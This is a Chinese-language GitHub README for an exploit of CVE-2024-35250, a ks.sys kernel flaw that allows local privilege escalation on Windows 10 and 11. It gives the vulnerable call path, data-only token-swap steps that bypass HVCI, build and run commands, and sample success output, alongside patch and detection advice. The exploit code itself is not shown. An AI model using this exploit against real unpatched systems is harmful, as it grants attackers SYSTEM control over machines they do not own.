xvalegendary/HVCIPwned

GitHub: xvalegendary/HVCIPwned

CVE-2024-35250漏洞的完整利用代码,通过ks.sys不可信指针解引用实现绕过HVCI的本地权限提升,证明数据型攻击仍可有效提权。

Stars: 3 | Forks: 0

# CVE-2024-35250 通过 Windows 内核流驱动 (`ks.sys`) 中的不可信指针解引用实现本地权限提升。 仅数据操作的 exploit —— 绕过虚拟机监控程序保护的代码完整性。 ## 概述 | 字段 | 详情 | |---|---| | CVE | CVE-2024-35250 | | 组件 | ks.sys (内核流) | | 漏洞类别 | 不可信指针解引用 | | 影响 | 提权至 NT AUTHORITY\SYSTEM | | HVCI | 已绕过 —— 内核中无代码执行 | | 补丁 | KB5039212 (2024 年 6 月) | | 目标 | Windows 10 20H1+ / Windows 11 21H2-23H2 | ## 漏洞详情 `ks!KspPropertyHandler` 通过 `KspProcessPropertyNode` 分发拓扑级别的属性请求。来自用户提供的 `KSP_NODE` 结构中的 `NodeId` 字段被用作内部自动化表数组的索引,且未经验证: ``` NtDeviceIoControlFile ks!CKSFilter::DispatchDeviceIoControl ks!KspPropertyHandler ks!KspProcessPropertyNode *(automationTable + NodeId * stride) <-- attacker-controlled ``` 精心构造的、超出实际节点数量的 `NodeId` 会将解引用重定向到相邻的池内存,从而产生越界读/写原语。 ## 绕过 HVCI 该 exploit 仅操纵内核数据结构: 1. 通过 `NtQuerySystemInformation` 泄露 `EPROCESS` 地址 2. 触发漏洞以构建任意内核读/写 3. 遍历 `ActiveProcessLinks` 以定位 PID 4 (System) 4. 用 System token 覆盖当前进程的 token 5. 生成提升权限的 shell 未注入 shellcode。未创建或执行未签名的代码页。 未劫持控制流指针。 | 保护机制 | 状态 | |---|---| | HVCI / KMCI | 已绕过 | | SMEP | 未触发 | | SMAP | 未触发 | | kCFG | 未触发 | | CET / Shadow Stack | 未触发 | ## 构建 ### 需求 - Visual Studio 2019 / 2022 - Windows SDK 10.0.19041.0+ ### 编译 1. 在 Visual Studio 中打开 `CVE-2024-35250.sln` 2. 选择 **Release | x64** 3. 生成 → 生成解决方案 (`Ctrl+Shift+B`) 输出二进制文件:`x64\Release\CVE-2024-35250.exe` ### 手动 cl.exe 构建 ``` cl.exe /nologo /W4 /O2 /TC ^ src\main.c src\device.c src\leak.c src\krw.c src\token.c src\exploit.c ^ /Iinclude ^ /Fe:exploit.exe ^ /link setupapi.lib kernel32.lib advapi32.lib ``` ## 用法 ``` CVE-2024-35250.exe ``` 在易受攻击(未修补)的系统上,从非特权用户会话运行。 成功后,将以 `NT AUTHORITY\SYSTEM` 权限打开一个新的 `cmd.exe` 窗口。 ### 预期输出 ``` [+] cve-2024-35250 exploit [+] ks.sys untrusted pointer dereference -> eop [~] hvci bypass via data-only attack [+] os: 10.0.19045 [+] offsets: pid=0x440 links=0x448 token=0x4b8 [+] device: \\?\hdaudio#func_01&ven_10ec... [+] device handle: 0x00000000000000f4 [~] calibrating r/w primitive... [+] kernel base: 0xfffff80140000000 [~] spraying named pipes for pool layout... [+] sprayed 5000 pipe pairs [~] poking hole at index 2500... [~] scanning for kernel pointer via oob read... [+] found kernel ptr at node 3 offset 2: 0xffffa70500000000 [+] pipe object kernel addr: 0xffffa70500000000 [+] r/w primitive initialized (mode 1) [+] current eprocess: 0xffffa705d90f4080 [+] kernel read pid: 1234 (expected: 1234) [+] system eprocess: 0xffffa70500004080 [+] system token: 0xffffa70512345673 [+] token after swap: 0xffffa70512345670 [+] token swap successful [+] escalation complete [+] elevated shell spawned (pid: 5678) press enter to exit... ``` ## 项目结构 ``` CVE-2024-35250/ ├── CVE-2024-35250.sln ├── CVE-2024-35250.vcxproj ├── CVE-2024-35250.vcxproj.filters ├── README.md ├── LICENSE ├── .gitignore ├── include/ │ ├── common.h - types, log macros, nt api typedefs │ ├── offsets.h - per-build eprocess field offsets │ ├── device.h - ks device enumeration │ ├── leak.h - kernel address leaks │ ├── krw.h - r/w primitive context │ ├── token.h - token swap + shell spawn │ └── exploit.h - top-level entry └── src/ ├── main.c - entry point ├── device.c - setupapi device open ├── leak.c - NtQuerySystemInformation leaks ├── krw.c - vulnerability trigger + pool spray + r/w ├── token.c - eprocess walk + token overwrite └── exploit.c - orchestration ``` ## 支持的版本 | 操作系统 | 版本号 | 状态 | |---|---|---| | Windows 10 20H1 | 19041 | 支持 | | Windows 10 20H2 | 19042 | 支持 | | Windows 10 21H1 | 19043 | 支持 | | Windows 10 21H2 | 19044 | 支持 | | Windows 10 22H2 | 19045 | 支持 | | Windows 11 21H2 | 22000 | 支持 | | Windows 11 22H2 | 22621 | 支持 | | Windows 11 23H2 | 22631 | 支持 | 偏移量在运行时通过 `RtlGetVersion` 自动解析。 ## 注意事项 - 需要具有拓扑节点的 KS 过滤器设备(音频设备可用) - 池喷射的成功取决于系统内存压力和时机 - 该 exploit 使用命名管道属性进行池风水 - 以常规(非管理员)用户身份运行以演示权限提升 - 由于池布局随机化,可能需要多次尝试 ## 缓解措施 | 行动 | 详情 | |---|---| | **补丁** | 安装 KB5039212 (2024 年 6 月) 或更高版本 | | **检测** | 监控带有 `KSPROPERTY_TYPE_TOPOLOGY` 标志的 `IOCTL_KS_PROPERTY` | | **EDR** | 通过 EtwTi 内核回调警报 token 完整性更改 | | **加固** | 通过 DACL 限制用户对 KS 设备接口的访问 | ## 参考资料 - [Microsoft 安全公告](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-35250) - [KB5039212 补丁说明](https://support.microsoft.com/help/5039212) - [DEVCORE — Pwn2Own Vancouver 2024](https://devco.re/) - [varwara/CVE-2024-35250](https://github.com/varwara/CVE-2024-35250) ## 免责声明 本项目仅供授权安全研究和教育目的使用。请勿在未经明确书面许可的情况下对系统使用。作者对因使用本软件而造成的任何误用或损害不承担任何责任。 ## 许可证 [MIT](LICENSE)
标签:CVE-2024-35250, EoP, HVCI绕过, ks.sys, PoC, Web报告查看器, Windows 10, Windows 11, Windows内核安全, 二进制安全, 令牌窃取, 任意读写, 内核池溢出, 内核流驱动, 客户端加密, 客户端加密, 数据型漏洞利用, 无代码执行, 暴力破解, 未信任指针解引用, 本地权限提升, 漏洞复现, 系统提权, 红队攻防, 网络安全, 越界访问, 隐私保护